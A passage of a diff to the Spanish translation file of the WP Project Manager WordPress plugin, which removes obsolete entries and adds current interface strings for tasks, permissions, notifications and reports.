%s by %s" -#~ msgstr "Adjuto a %s por %s" - -#~ msgid "Assign User" -#~ msgstr "Asignar colaborador" - -#~ msgid "No Man’s Sky" -#~ msgstr "Terreno de nadie" - -#~ msgid "Make public" -#~ msgstr "Hacer público" - -#~ msgid "Edit Task Title" -#~ msgstr "Editar título de la actividad" - -#~ msgid "Edit Task Description" -#~ msgstr "Editar descripción de la actividad" - -#~ msgid "No completed tasks." -#~ msgstr "No hay actividades completadas." - -#~ msgid "Edit this List" -#~ msgstr "Editar Componente" - -#~ msgid "Lists" -#~ msgstr "Listas" - -#~ msgid "Select Task List" -#~ msgstr "Seleccione el componente" - -#~ msgid "By %s on %s" -#~ msgstr "Por %s en %s" - -#~ msgid "Are you sure to delete this message?" -#~ msgstr "¿Estás seguro que quieres eliminar este mensaje?" - -#~ msgid "Error: Message not found" -#~ msgstr "Error: Mesaje no encontrado" - -#~ msgid "You do not have permission to access this page." -#~ msgstr "No tienes permiso para acceder a esta página." - -#~ msgid "No comments found." -#~ msgstr "No se encontraron comentarios." - -#~ msgid "Error: Project not found" -#~ msgstr "Error: Proyecto no encontrado" - -#~ msgid "Error: Permission denied" -#~ msgstr "Error: Permiso denagado" - -#~ msgid "Filter" -#~ msgstr "Filtrar" - -#~ msgid "Active %d" -#~ msgstr "Activo %d" - -#~ msgid "Completed %d" -#~ msgstr "Completado %d" - -#~ msgctxt "taxonomy general name" -#~ msgid "Project Categories" -#~ msgstr "Categorías de planes/proyectos" - -#~ msgctxt "taxonomy singular name" -#~ msgid "Location" -#~ msgstr "Localización" - -#~ msgctxt "Discussion" -#~ msgid "Discussion" -#~ msgid_plural "Discussions" -#~ msgstr[0] "Foro" -#~ msgstr[1] "Foros" - -#~ msgctxt "Task" -#~ msgid "Task" -#~ msgid_plural "Tasks" -#~ msgstr[0] "Tarea" -#~ msgstr[1] "Tareas" - -#~ msgctxt "Single project status" -#~ msgid "Completed" -#~ msgstr "Completado" - -#~ msgid "1 Comment" -#~ msgid_plural "%d Comments" -#~ msgstr[0] "1 Comentario" -#~ msgstr[1] "1 Comentario" - -#~ msgid "%s Task" -#~ msgid_plural "%s Tasks" -#~ msgstr[0] "%s Tarea" -#~ msgstr[1] "%s Tarea" - -#~ msgid "Agregar una nueva tarea" -#~ msgstr "Agregar una nueva actividad" - -#~ msgid "Listas de tareas" -#~ msgstr "Componentes" - -#~ msgid "" -#~ "Puede enumerar todas sus tareas en una sola discusión utilizando una " -#~ "lista de tareas. Utilice estas listas para dividir un proyecto en varios " -#~ "sectores, asignar compañeros de trabajo y verificar el progreso." -#~ msgstr "" -#~ "Puede enumerar todas sus tareas en una sola discusión utilizando una " -#~ "lista de tareas. Utilice estas listas para dividir un proyecto en varios " -#~ "sectores, asignar compañeros de trabajo y verificar el progreso." - -#~ msgid "¿Cuándo usar listas de tareas?" -#~ msgstr "¿Cuándo usar Componentes?" - -#~ msgid "Tareas" -#~ msgstr "Actividades" - -#~ msgid "Hitos" -#~ msgstr "Hitos" - -#~ msgid "Cuándo usar Milestones?" -#~ msgstr "¿Cuándo usar Hitos?" - -#~ msgid "Agregue detalles adicionales sobre esta tarea (opcional)" -#~ msgstr "Agregue detalles adicionales sobre esta actividad (opcional)" - -#~ msgid "Nombre de la lista de tareas" -#~ msgstr "Nombre del Componente" - -#~ msgid "Detalles de la lista de tareas" -#~ msgstr "Detalles de la lista de tareas" - -#~ msgid "- Hito -" -#~ msgstr "- Hito -" - -#~ msgid "Employee New Task" -#~ msgstr "Nueva Actividad del empleado" - -#~ msgid "Text content is required." -#~ msgstr "Contenido del texto requerido." - -#~ msgid "Department" -#~ msgstr "Departamento" - -#~ msgid "Assign co-worker from departments" -#~ msgstr "Asignar colaborador desde departamentos" - -#~ msgid "Task Title" -#~ msgstr "Título de actividad" - -#~ msgid "Task Content" -#~ msgstr "Contenido de la actividad" - -#~ msgid "Private" -#~ msgstr "Private" - -#~ msgid "Assign New Task" -#~ msgstr "Asignar actividad nueva" - -#~ msgid "Re-opened to-do" -#~ msgstr "Re-abrir Tarea" - -#~ msgid "General" -#~ msgstr "General" - -#~ msgid "To-do List Style" -#~ msgstr "Estilo de lista de tareas" - -#~ msgid "Invalid project id" -#~ msgstr "Id de Proyecto no válido" - -#~ msgid "Co-worker" -#~ msgstr "Co-trabajador" - -#~ msgid "Todo list name is required." -#~ msgstr "Se requiere nombre de la Actividad." - -#~ msgid "A new todo list has been created successfully." -#~ msgstr "Se creó nueva lista de tareas correctamente." - -#~ msgid "No user found!" -#~ msgstr "Usuario no encontrado!" - -#~ msgid "[%s] Updated Project Invitation: %s" -#~ msgstr "[%s] Invitación a proyecto actualizado: %s" - -#~ msgid "To-do Lists" -#~ msgstr "Listas de tareas" - -#~ msgid "Add a new to-do" -#~ msgstr "Añadir una nueva Tarea" - -#~ msgid "Due date" -#~ msgstr "Fecha límite" - -#~ msgid "To-Do Lists" -#~ msgstr "Las listas de tareas pendientes" - -#~ msgid "Add New To-do List" -#~ msgstr "Agregar nueva lista de tareas" - -#~ msgid "No Task Found" -#~ msgstr "No se encontraron Tareas" - -#~ msgid "" -#~ "Want to help make WP Project Manager even more awesome? " -#~ "Allow weDevs to collect non-sensitive diagnostic data and usage " -#~ "information. Enjoy 15% discount on upgrades and add-on " -#~ "purchase." -#~ msgstr "" -#~ "¿Quieres ayudar a hacer WP Project Manager más " -#~ "impresionante? Permite a weDevs recoger información no confidencial de " -#~ "los datos y el uso, obtén 15% de descuento en " -#~ "actualizaciones y complementos." - -#~ msgid "Sorry! you are not assigned in this project" -#~ msgstr "¡Lo sentimos! No se le asigno en este proyecto" - -#~ msgid "Sorry! you are not assinged in this project" -#~ msgstr "¡Lo sentimos! Usted no está asignado en este proyecto" - -#~ msgid "Sorry! you do not have persmission to view this todo list" -#~ msgstr "" -#~ "¡Lo sentimos! No tienes permisos para ver esta lista de tareas pendientes" - -#~ msgid "Task List Name Required" -#~ msgstr "Se requiere un nombre de lista de tareas" - -#~ msgid "Invalid project id." -#~ msgstr "Id de proyecto invalido." - -#~ msgid "Invalid list id" -#~ msgstr "Id. de lista no válido" - -#~ msgid "Project Name Required" -#~ msgstr "Se requiere un nombre de proyecto" - -#~ msgid "Sorry! you do not have permission to view this todo list" -#~ msgstr "" -#~ "¡Lo sentimos! No tiene permiso para crear una lista de tareas pendientes" - -#~ msgid "Task Name Required" -#~ msgstr "Se requiere un nombre de tarea" - -#~ msgid "Select co-workers" -#~ msgstr "Seleccionar colaboradores" - -#~ msgid "To-do list" -#~ msgstr "Lista de Tareas" - -#~ msgid "To-do" -#~ msgstr "Por hacer" - -#~ msgid "New Todo List" -#~ msgstr "Nueva Lista de Tareas" - -#~ msgid "Update Todo List" -#~ msgstr "Actualizar Lista de Tareas" - -#~ msgid "Add this to-do" -#~ msgstr "Añadir esta Tarea" - -#~ msgid "Start date" -#~ msgstr "Fecha de inicio" - -#~ msgid "To-do list name" -#~ msgstr "Nombre de la lista de tareas pendientes" - -#~ msgid "To-do list detail" -#~ msgstr "Detalle Lista de tareas" - -#~ msgid "%d Comments" -#~ msgstr "%d Comentarios" - -#~ msgid "Update comment" -#~ msgstr "Actuializar comentario" - -#~ msgid "Edit milestone" -#~ msgstr "Editar meta" - -#~ msgid "Mark un-complete" -#~ msgstr "Marcar como inclompleto" - -#~ msgid "To-do List" -#~ msgstr "Lista de Tareas" - -#~ msgid "--Select--" -#~ msgstr "--Seleccione--" - -#~ msgid "This feature is only available in the project manager pro Version" -#~ msgstr "" -#~ "Esta característica sólo está disponible en el gestor de proyectos " -#~ "versión pro" - -#~ msgid "-Select-" -#~ msgstr "-Seleccionar-" - -#~ msgid "To Do Lists" -#~ msgstr "Listas de tareas" - -#~ msgid "Canel" -#~ msgstr "Cancelar" - -#~ msgid "thread" -#~ msgstr "hilo" - -#~ msgid "ADD NEW DISCUSSION" -#~ msgstr "AGREGAR NUEVA DISCUCIÓN" - -#~ msgid "Completed By" -#~ msgstr "Completado por" - -#~ msgid "Hi! " -#~ msgstr "Hola! " - -#~ msgid "NEW COMMENT" -#~ msgstr "NUEVO COMENTARIO" - -#~ msgid "Author : " -#~ msgstr "Autor : " - -#~ msgid "Comment : " -#~ msgstr "Comentario : " - -#~ msgid "NEW MESSAGE" -#~ msgstr "NUEVO MENSAJE" - -#~ msgid "Title " -#~ msgstr "Título " - -#~ msgid "Message " -#~ msgstr "Mensaje " - -#~ msgid "NEW PROJECT" -#~ msgstr "NUEVO PROYECTO" - -#~ msgid "Due Date " -#~ msgstr "Fecha de vencimiento " - -#~ msgid "UPDATE COMMENT" -#~ msgstr "COMENTARIO ACTUALIZADO" - -#~ msgid "UPDATE PROJECT" -#~ msgstr "ACTUALIZAR PROYECTO" - -#~ msgid "Discuss this to-do list" -#~ msgstr "Discutir esta Lista de Tareas" - -#~ msgid "Back to to-do lists" -#~ msgstr "Regresar a las listas de tareas" - -#~ msgid " Comment" -#~ msgstr " Comentario" - -#~ msgid "One Comment" -#~ msgstr "Un Comentario" - -#~ msgid "This action has been disabled by the administrator." -#~ msgstr "Esta acción la deshabilitó el administrador." - -#~ msgid "Slow down cowboy, no need to check for new mails so often!" -#~ msgstr "" -#~ "¡Tranquilo, campeón! ¡No hace falta comprobar el correo tan a menudo!" - -#~ msgid "There doesn’t seem to be any new mail." -#~ msgstr "Parece que no hay ningún correo electrónico nuevo." - -#~ msgid "Author is %s" -#~ msgstr "El autor es %s" - -#~ msgid "Posted title:" -#~ msgstr "Titulo publicado:" - -#~ msgid "Oops: %s" -#~ msgstr "Oops: %s" - -#~ msgid "Mission complete. Message %s deleted." -#~ msgstr "Misión cumplida. Mensaje %s borrado." - -#~ msgid "No project found !" -#~ msgstr "Ningún proyecto encontrado !" - -#~ msgid "Project: " -#~ msgstr "Proyecto: " - -#~ msgid "Task List: " -#~ msgstr "Lista de tareas: " - -#~ msgid "Task: " -#~ msgstr "Tarea: " - -#~ msgid "Message: " -#~ msgstr "Mensaje: " - -#~ msgid "Milestone: " -#~ msgstr "Hito: " - -#~ msgid "No item found !" -#~ msgstr "No se ha encontrado ningún artículo !" - -#~ msgid "[%s] - Project Manager Daily Digest (%s)" -#~ msgstr "[%s] - Resumen Diario del Gerente del Proyecto (%s)" - -#~ msgid "Project Daily Digest" -#~ msgstr "Resumen diario de proyectos" - -#~ msgid "Project items due or added or completed in the last 24 hours" -#~ msgstr "" -#~ "Los elementos de proyecto pendientes o agregados o completados en las " -#~ "últimas 24 horas" - -#~ msgid "This is an automated email from %s, powered by %s." -#~ msgstr "Este es un correo electrónico automático de %s, alimentado por %s." - -#~ msgid "New to-do items:" -#~ msgstr "Nuevos elementos:" - -#~ msgid "Completed to-do items:" -#~ msgstr "Los elementos de tareas completadas:" - -#~ msgid "Due to-do items:" -#~ msgstr "Artículos pendientes:" - -#~ msgid "New milestones:" -#~ msgstr "Nuevos hitos:" - -#~ msgid "(Completed by %s)" -#~ msgstr "(completado por %s)" - -#~ msgid "Documents" -#~ msgstr "Documentos" - -#~ msgid "Add Document" -#~ msgstr "Agregar documento" - -#~ msgid "Add New Document" -#~ msgstr "Agregar nuevo documento" - -#~ msgid "Edit Document" -#~ msgstr "Editar documento" - -#~ msgid "New Document" -#~ msgstr "Nuevo documento" - -#~ msgid "View Document" -#~ msgstr "Ver documento" - -#~ msgid "Search Documents" -#~ msgstr "Búsqueda de documentos" - -#~ msgid "No Documents Found" -#~ msgstr "No se han encontrado documentos" - -#~ msgid "No Documentst Found in Trash" -#~ msgstr "No se encontraron Documentos en la Papelera" - -#~ msgid "Parent Document" -#~ msgstr "Documento primario" - -#~ msgid "Create a folder" -#~ msgstr "Crear una carpeta" - -#~ msgid "Upload a file" -#~ msgstr "Cargar un archivo" - -#~ msgid "Create a doc" -#~ msgstr "Crear un doc" - -#~ msgid "Create a document" -#~ msgstr "Crear un documento" - -#~ msgid "Back to previous" -#~ msgstr "Volver a la anterior" - -#~ msgid "Make files private." -#~ msgstr "Hacer los archivos privados." - -#~ msgid "Folder or Documents not found. Please create new folder or document." -#~ msgstr "" -#~ "No se ha encontrado la carpeta o los documentos. Cree una nueva carpeta o " -#~ "documento." - -#~ msgid "Link for Docs" -#~ msgstr "Enlace a GOOGLE DOCS" - -#~ msgid "Download" -#~ msgstr "Descargar" - -#~ msgid "Note" -#~ msgstr "Nota" - -#~ msgid "View Current Post" -#~ msgstr "Ver post actual" - -#~ msgid "View Online" -#~ msgstr "Ver Online" - -#~ msgid " Load More Files" -#~ msgstr " Cargar más archivos" - -#~ msgid "Update Doc" -#~ msgstr "Actualizar el Doc" - -#~ msgid "Cancel Edit" -#~ msgstr "Cancelar edición" - -#~ msgid "Revisions" -#~ msgstr "Revisiones" - -#~ msgid "No Revision" -#~ msgstr "No hay ninguna revisión" - -#~ msgid "Are you sure to delete this folder?" -#~ msgstr "¿Está seguro de que desea eliminar esta carpeta?" - -#~ msgid "Are you sure to change privacy for this file or folder?" -#~ msgstr "" -#~ "Está seguro de que desea cambiar la privacidad de este archivo o carpeta?" - -#~ msgid "Attached to " -#~ msgstr "Adjunto a " - -#~ msgid " by " -#~ msgstr " por " - -#~ msgid "Pleae choose any file first" -#~ msgstr "Por favor seleccione un archivo primero" - -#~ msgid "Folder name already exist! Please check again." -#~ msgstr "El nombre de la carpeta ya existe! Compruebe de nuevo." - -#~ msgid "You have not access to creat folder." -#~ msgstr "No tienes acceso para crear carpetas." - -#~ msgid "There is an error while delete, please try again!" -#~ msgstr "Se ha producido un error al eliminar, por favor inténtelo de nuevo!" - -#~ msgid "Permission Problem" -#~ msgstr "Problema de permisos" - -#~ msgid "[%s][%s] Mentioned on comment: %s" -#~ msgstr "[%s][%s] Mencionado en un comentario: %s" - -#~ msgid "Select a milestone" -#~ msgstr "Seleccione un hito" - -#~ msgid "No milestone on this Project" -#~ msgstr "Ningún hito en este proyecto" - -#~ msgid "Overdue Task" -#~ msgstr "Tarea retrasada" - -#~ msgid "All Project" -#~ msgstr "Todos los proyectos" - -#~ msgid "All Coworker" -#~ msgstr "Todol los colaboradores" - -#~ msgid "User Activity Report" -#~ msgstr "Informe de actividad del usuario" - -#~ msgid " Rnage " -#~ msgstr " Rango " - -#~ msgid "All Task by Project" -#~ msgstr "Todas las tareas por proyecto" - -#~ msgid "Task Status : All Task" -#~ msgstr "El estado de la tarea : Todas las tareas" - -#~ msgid "All Task by Milestone" -#~ msgstr "Todas las tareas por hito" - -#~ msgid "All Unassigned Task" -#~ msgstr "Todas las tareas sin asignar" - -#~ msgid "Not assigned" -#~ msgstr "No asignada" - -#~ msgid "Not set" -#~ msgstr "No definido" - -#~ msgid "No due date" -#~ msgstr "Sin fecha de vencimiento" - -#~ msgid "Report Title : " -#~ msgstr "Título del informe: " - -#~ msgid "Project for : " -#~ msgstr "Proyecto de : " - -#~ msgid "Co Worker : " -#~ msgstr "Co trabajador : " - -#~ msgid "Project : " -#~ msgstr "Proyecto : " - -#~ msgid "Task Name" -#~ msgstr "Nombre de tarea" - -#~ msgid "Assign to" -#~ msgstr "Asignar a" - -#~ msgid "Assign date" -#~ msgstr "Fecha de asignación" - -#~ msgid "Complete Date" -#~ msgstr "Fecha de completado" - -#~ msgid "Year" -#~ msgstr "Año" - -#~ msgid "Month" -#~ msgstr "Mes" - -#~ msgid "Week" -#~ msgstr "Semana" - -#~ msgid "Assign To" -#~ msgstr "Asignar a" - -#~ msgid "Incompleted" -#~ msgstr "Incompleto" - -#~ msgid "Current" -#~ msgstr "Actual" - -#~ msgid "Outstanding" -#~ msgstr "Excepcional" - -#~ msgid "No Data Found!" -#~ msgstr "No se han encontrado datos!" - -#~ msgid "" -#~ "Please enter your WP Project Manager " -#~ "plugin license key to get regular update and support." -#~ msgstr "" -#~ "Por favor ingresa tu clave de licencia del " -#~ "AppyProject Manager para obtener apoyo y actualización " -#~ "regular." - -#~ msgid "Please activate your copy" -#~ msgstr "Por favor active su copia" - -#~ msgid "Empty license key" -#~ msgstr "Llave de licencia vacía" - -#~ msgid "Settings Saved" -#~ msgstr "Configuración guardada" - -#~ msgid "E-mail Address" -#~ msgstr "Dirección de e-mail" - -#~ msgid "Enter your purchase Email address" -#~ msgstr "Introduzca su dirección de correo electrónico de compra" - -#~ msgid "License Key" -#~ msgstr "Clave de licencia" - -#~ msgid "has been expired %s ago" -#~ msgstr "ha expirado hace %s" - -#~ msgid "will expire in %s" -#~ msgstr "caducará en %s" - -#~ msgid "Validity:" -#~ msgstr "Validez:" - -#~ msgid "Renew License" -#~ msgstr "Renovar la licencia" - -#~ msgid "Plugin is activated" -#~ msgstr "Plugin está activado" - -#~ msgid "Delete License" -#~ msgstr "Eliminar licencia" - -#~ msgid "Your Project Manager Pro is almost ready!" -#~ msgstr "El gestor de planes casi está listo" - -#~ msgid "Error: Nonce verification failed" -#~ msgstr "No se pudo verificar el fallo." - -#~ msgid "Search..." -#~ msgstr "Buscar..." - -#~ msgid "Task start date" -#~ msgstr "La fecha de inicio de la tarea" - -#~ msgid "Enable task start date field" -#~ msgstr "Habilitar el campo de fecha de inicio de la tarea" - -#~ msgid "Logo" -#~ msgstr "Logo" - -#~ msgid "Daily Digest" -#~ msgstr "Resumen diario" - -#~ msgid "Enable Daily Digest" -#~ msgstr "Habilitar Resumen Diario" - -#~ msgid "Client" -#~ msgstr "Cliente" - -#~ msgid "My Tasks %s" -#~ msgstr "Mis tareas %s" - -#~ msgid "My Calender" -#~ msgstr "Mi calendario" - -#~ msgid "Page Settings" -#~ msgstr "Ajustes de página" - -#~ msgid "My Task" -#~ msgstr "Mi tarea" - -#~ msgid "Sorry, the main plugin is not installed" -#~ msgstr "Lo sentimos, el plugin principal no está instalado" - -#~ msgid "%s version %s is now available! %s." -#~ msgstr "%s La versión %s ya está disponible! %s." - -#~ msgid "Enable project manager Daily Digest" -#~ msgstr "Habilitar Resumen Diario del administrador de proyectos" - -#~ msgid "Email Notification" -#~ msgstr "Notificación de correo electrónico" - -#~ msgid "Enable project manager email" -#~ msgstr "Habilitar el correo electrónico del director de proyecto" - -#~ msgid "-Select Project" -#~ msgstr "-Seleccione un proyecto" - -#~ msgid "File is private. Click to make file public." -#~ msgstr "" -#~ "Archivo es privado. Haga clic en esta opción para convertir el archivo a " -#~ "público." - -#~ msgid "File is public. Click to make file private." -#~ msgstr "" -#~ "Archivo es público. Haga clic en esta opción para convertir el archivo en " -#~ "privado." - -#~ msgid "No Progress Found!" -#~ msgstr "Progreso No encontrado!" - -#~ msgid "Project Report" -#~ msgstr "Informe de proyecto" - -#~ msgid "Advance Search Project" -#~ msgstr "Búsqueda Avanzada de Proyectos" - -#~ msgid "Advance Report Form" -#~ msgstr "Formulario de informe de avance" - -#~ msgid "Please select an filter!" -#~ msgstr "Seleccione un filtro!" - -#~ msgid "Back to Report Dashboard" -#~ msgstr "Volver al panel de informe" - -#~ msgid "Advanced Report" -#~ msgstr "Informe avanzado" - -#~ msgid "Overdue Tasks" -#~ msgstr "Tareas atrasadas" - -#~ msgid "" -#~ "Generate a report based on tasks which are " -#~ "pending beyond due dates." -#~ msgstr "" -#~ "Generar un informe basado en Tareas que esten " -#~ "pendientes más allá de las fechas de vencimiento." - -#~ msgid "Complete Task" -#~ msgstr "Completar tarea" - -#~ msgid "" -#~ "Generate a report from tasks which were " -#~ "completed." -#~ msgstr "" -#~ "Generar un informe desde Tareas que este " -#~ "completado." - -#~ msgid "User Activities" -#~ msgstr "Las actividades de los usuarios" - -#~ msgid "" -#~ "Create a report based on an employee or all employee " -#~ "activity on tasks." -#~ msgstr "" -#~ "Crear un informe a partir de un empleado o todos los " -#~ "trabajadores Actividad en Tareas." - -#~ msgid "Project Task" -#~ msgstr "Tarea de proyecto" - -#~ msgid "" -#~ "Find out all tasks from your Project." -#~ msgstr "" -#~ "Descubra Todas las tareas de su Proyecto." - -#~ msgid "Task by Milestone" -#~ msgstr "Tarea por hito" - -#~ msgid "" -#~ "Browse tasks reports according to Milestones (CSV exportable)." -#~ msgstr "" -#~ "Busque Tareas informes según Hitos " -#~ "(CSV exportables)." - -#~ msgid "" -#~ "Find out all tasks whichwere not assigned to any employee." -#~ msgstr "" -#~ "Descubra Todas las tareas que no fueron " -#~ "Asignadas a cualquier empleado." - -#~ msgid "Filter Report" -#~ msgstr "Filtrar informe" - -#~ msgid "Coworker" -#~ msgstr "Compañero de trabajo" - -#~ msgid "Total Result" -#~ msgstr "Resultado total" - -#~ msgid "Assigned to" -#~ msgstr "Asignada a" - -#~ msgid "Assigned Date" -#~ msgstr "Fecha asignada" - -#~ msgid "Time" -#~ msgstr "Tiempo" - -#~ msgid "No Data Found, Please search again!" -#~ msgstr "No se han encontrado datos, busque de nuevo!" - -#~ msgid "Report for" -#~ msgstr "Informe para" - -#~ msgid "All Task" -#~ msgstr "Todas las tareas" - -#~ msgid "All Complete Task" -#~ msgstr "Toda tarea completa" - -#~ msgid "Run Report" -#~ msgstr "Ejecutar informe" - -#~ msgid "Selec a project" -#~ msgstr "Selección de un proyecto" - -#~ msgid "Assigned To" -#~ msgstr "Asignado a" - -#~ msgid "The user could not be found!" -#~ msgstr "No se encontró el usuario!" - -#~ msgid "Select an User" -#~ msgstr "Seleccione un usuario" - -#~ msgid "Unable update, please check your permission!!" -#~ msgstr "No se puede actualizar, compruebe su permiso!!" - -#~ msgid "Assign Task" -#~ msgstr "Asignar tarea" - -#~ msgid "At a glance" -#~ msgstr "De un vistazo" - -#~ msgid "Sorry! you do no have permission to view this comment" -#~ msgstr "¡Lo lamento! no tienes permiso para ver este comentario" - -#~ msgid "Sorry! you do no have permission to view this todo list" -#~ msgstr "¡Lo lamento! no tienes permiso para ver esta lista de tareas" - -#~ msgid "file size in Megabyte. e.g: 2" -#~ msgstr "tamaño de archivos en Megabyte. Ej. 2" - -#~ msgid "New Project Subject" -#~ msgstr "Asunto de Nuevo Proyecto" - -#~ msgid "New Project Body" -#~ msgstr "Cuerpo de Nuevo Proyecto" - -#~ msgid "New Message Subject" -#~ msgstr "Asundo de Nuevo Mensaje" - -#~ msgid "New Message Body" -#~ msgstr "Cuerpo de Nuevo Mensaje" - -#~ msgid "New Comment Subject" -#~ msgstr "Asunto de Nuevo Comentario" - -#~ msgid "Body" -#~ msgstr "Cuerpo" - -#~ msgid "New Assigned Task Subject" -#~ msgstr "Asunto de Nueva Tarea Asignada" - -#~ msgid "%d message" -#~ msgstr "%d mensaje" - -#~ msgid "%d to-do" -#~ msgstr "%d tareas" - -#~ msgid "%d comment" -#~ msgstr "%d comentarios" - -#~ msgid "%d file" -#~ msgstr "%d fichero" - -#~ msgid "%d milestone" -#~ msgstr "%d metas" - -#~ msgid "(Completed by %s on %s)" -#~ msgstr "(Completado por %s en %s)" - -#~ msgid "Add a to-do" -#~ msgstr "Añadir una Tarea" - -#~ msgid "Message details here" -#~ msgstr "Detalles de mesaje" - -#~ msgid "Details about milestone (optional)" -#~ msgstr "Detalles del Hito (opcional)" - -#~ msgid "Reopen" -#~ msgstr "Re-abrir" - -#~ msgid "" -#~ "Download or go to the discussion." -#~ msgstr "" -#~ "Descargar o ir a la Discución." - -#~ msgid "No Files Found!" -#~ msgstr "No se encontraron archivos" - -#~ msgid "Add New" -#~ msgstr "Añadir Nuevo" - -#~ msgid "No messages found! How about adding one?" -#~ msgstr "No se encontraron mensajes. ¿Qué tal si añades uno? " - -#~ msgid "← back" -#~ msgstr "← atrás" - -#~ msgid "No Milestone Found!" -#~ msgstr "No se encontraron Metas" - -#~ msgid "Add new milestone" -#~ msgstr "Añadir nueva meta" - -#~ msgid "Project Info" -#~ msgstr "Información de Proyecto" - -#~ msgid "Oh dear, no To-do list found!" -#~ msgstr "O no, no se encontraron Listas de Tareas" +msgid "" +msgstr "" +"Project-Id-Version: WP Project Manager\n" +"Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/cpm\n" +"POT-Creation-Date: 2018-07-11 06:41:04+00:00\n" +"PO-Revision-Date: 2018-07-11 12:46+0600\n" +"Last-Translator: David \n" +"Language-Team: Tareq Hasan \n" +"Language: es_ES\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-KeywordsList: _e;__;gettext_noop;esc_attr_e;_n\n" +"X-Poedit-Basepath: .\n" +"X-Generator: Poedit 2.0.8\n" +"Plural-Forms: nplurals=2; plural=n != 1;\n" +"X-Poedit-SourceCharset: UTF-8\n" +"X-Poedit-SearchPath-0: ..\n" + +#: core/Notifications/Emails/Complete_Task_Notification.php:42 +#, fuzzy +#| msgid "[%s] %s Task status has changed in %s" +msgid "[%s] %s Task mark as %s in %s" +msgstr "ha cambiado el estado de la tarea [%s] %s en %s" + +#: core/Notifications/Emails/New_Comment_Notification.php:53 +#: core/Notifications/Emails/Update_Comment_Notification.php:52 +#: views/emails/html/new-message.php:39 views/emails/mention.php:13 +msgid "Message" +msgstr "Mensaje" + +#: core/Notifications/Emails/New_Comment_Notification.php:58 +#: core/Notifications/Emails/Update_Comment_Notification.php:55 +#: views/emails/mention.php:20 +msgid "Task List" +msgstr "Componentes" + +#: core/Notifications/Emails/New_Comment_Notification.php:63 +#: core/Notifications/Emails/Update_Comment_Notification.php:58 +#: views/assets/js/pm.js:18541 +#: views/assets/src/components/project-overview/directive.js:10 +#: views/emails/mention.php:25 +msgid "Task" +msgstr "Actividad" + +#: core/Notifications/Emails/New_Comment_Notification.php:68 +msgid "File" +msgstr "Archivo" + +#: core/Notifications/Emails/New_Comment_Notification.php:81 +msgid "[%s][%s] New Comment on: %s" +msgstr "[%s][%s] Nuevo Comentario en: %s" + +#: core/Notifications/Emails/New_Message_Notification.php:47 +msgid "[%s][%s] New Message: %s" +msgstr "[%s][%s] Nuevo mensaje: %s" + +#: core/Notifications/Emails/New_Project_Notification.php:24 +msgid "[%s] New Project Invitation: %s" +msgstr "[%s] Nueva invitación al Proyecto: %s" + +#: core/Notifications/Emails/New_Task_Notification.php:41 +msgid "[%s][%s] New Task Assigned: %s" +msgstr "[%s][%s] Nueva actividad asignada: %s" + +#: core/Notifications/Emails/Update_Comment_Notification.php:49 +msgid "[%s][%s] Update Comment on: %s" +msgstr "[%s] [%s] Comentario actualizado el: %s" + +#: core/Notifications/Emails/Update_Project_Notification.php:24 +msgid "[%s] Updated Project: %s" +msgstr "[%s] Actualizado proyecto: %s" + +#: core/Notifications/Emails/Update_Task_Notification.php:40 +msgid "[%s][%s] Update Task Assigned: %s" +msgstr "[%s] [%s] Actualizar la tarea asignada: %s" + +#: core/Permissions/Access_Project.php:22 +#: core/Permissions/Create_Discuss.php:17 +#: core/Permissions/Create_Milestone.php:16 core/Permissions/Create_Task.php:16 +#: core/Permissions/Create_Task_List.php:17 +#: core/Permissions/Edit_Comment.php:27 core/Permissions/Edit_Discuss.php:30 +#: core/Permissions/Edit_File.php:29 core/Permissions/Edit_Milestone.php:30 +#: core/Permissions/Edit_Task.php:32 core/Permissions/Edit_Task_List.php:30 +#: core/Permissions/Project_Manage_Capability.php:28 +msgid "You have no permission." +msgstr "No tiene ningún permiso." + +#: core/Permissions/Complete_Task.php:36 +#, fuzzy +#| msgid "You have no permission to create message." +msgid "You have no permission to change task status." +msgstr "No tienes permiso para crear un mensaje." + +#: core/Permissions/Create_File.php:16 +msgid "You have no permission to create message." +msgstr "No tienes permiso para crear un mensaje." + +#: core/Permissions/Project_Craete_Capability.php:17 +msgid "You have no permission to create project." +msgstr "No tienes permiso para para crear planes." + +#: core/Upgrades/Upgrade.php:136 +msgid "" +"WP Project Manager Data Update Required – Please " +"click the button below to update to the latest version." +msgstr "" +"Actualización Requerida de WP Project Manager – Por " +"favor haga clic en el botón de abajo para actualizar a la última versión." + +#: core/Upgrades/Upgrade.php:139 +msgid "Run the Update" +msgstr "Ejecute la actualización" + +#: core/Upgrades/Upgrade.php:140 +#, fuzzy +#| msgid "Load More..." +msgid "Read More" +msgstr "Cargar Más..." + +#: core/Upgrades/Upgrade.php:148 +msgid "" +"It is strongly recommended that you backup your database before proceeding. " +"Are you sure you wish to run the updater now?" +msgstr "" + +#: core/WP/Enqueue_Scripts.php:65 +msgid "Allowed Files" +msgstr "Documentos Permitidos" + +#: core/WP/Frontend.php:140 +msgid "Every %d Minutes PM schedule" +msgstr "" + +#: core/WP/Frontend.php:167 +msgid "

WP Project Manager Pro required version 2.0 or above.

" +msgstr "" + +#: core/WP/Frontend.php:168 +msgid "

To migrate version 2.0, Please read mmigration docs

" +msgstr "" + +#: core/WP/Frontend.php:177 +msgid "Read Docs" +msgstr "" + +#: core/WP/Frontend.php:284 +msgid "Get Pro" +msgstr "" + +#: core/WP/Frontend.php:287 core/WP/Menu.php:36 +msgid "Settings" +msgstr "Ajustes" + +#: core/WP/Frontend.php:288 +#, fuzzy +#| msgid "Document" +msgid "Documentation" +msgstr "Documento" + +#: core/WP/Menu.php:16 views/assets/src/components/project-lists/header.vue:7 +msgid "Project Manager" +msgstr "Gestor Proyectos" + +#: core/WP/Menu.php:18 +msgid "Projects" +msgstr "Proyectos" + +#: core/WP/Menu.php:20 views/assets/src/components/categories/categories.vue:3 +msgid "Categories" +msgstr "Categorías" + +#: core/WP/Menu.php:22 +msgid "My Tasks" +msgstr "Mis Actividades" + +#: core/WP/Menu.php:23 +msgid "Calendar" +msgstr "Calendario" + +#: core/WP/Menu.php:26 +msgid "Reports" +msgstr "Informes" + +#: core/WP/Menu.php:27 +msgid "Progress" +msgstr "Progreso" + +#: db/seeds/RoleTableSeeder.php:23 +msgid "Manager" +msgstr "Administrador" + +#: db/seeds/RoleTableSeeder.php:25 +msgid "Manager is a person who manages the project." +msgstr "" + +#: db/seeds/RoleTableSeeder.php:33 +msgid "Co-Worker" +msgstr "Colaborador" + +#: db/seeds/RoleTableSeeder.php:35 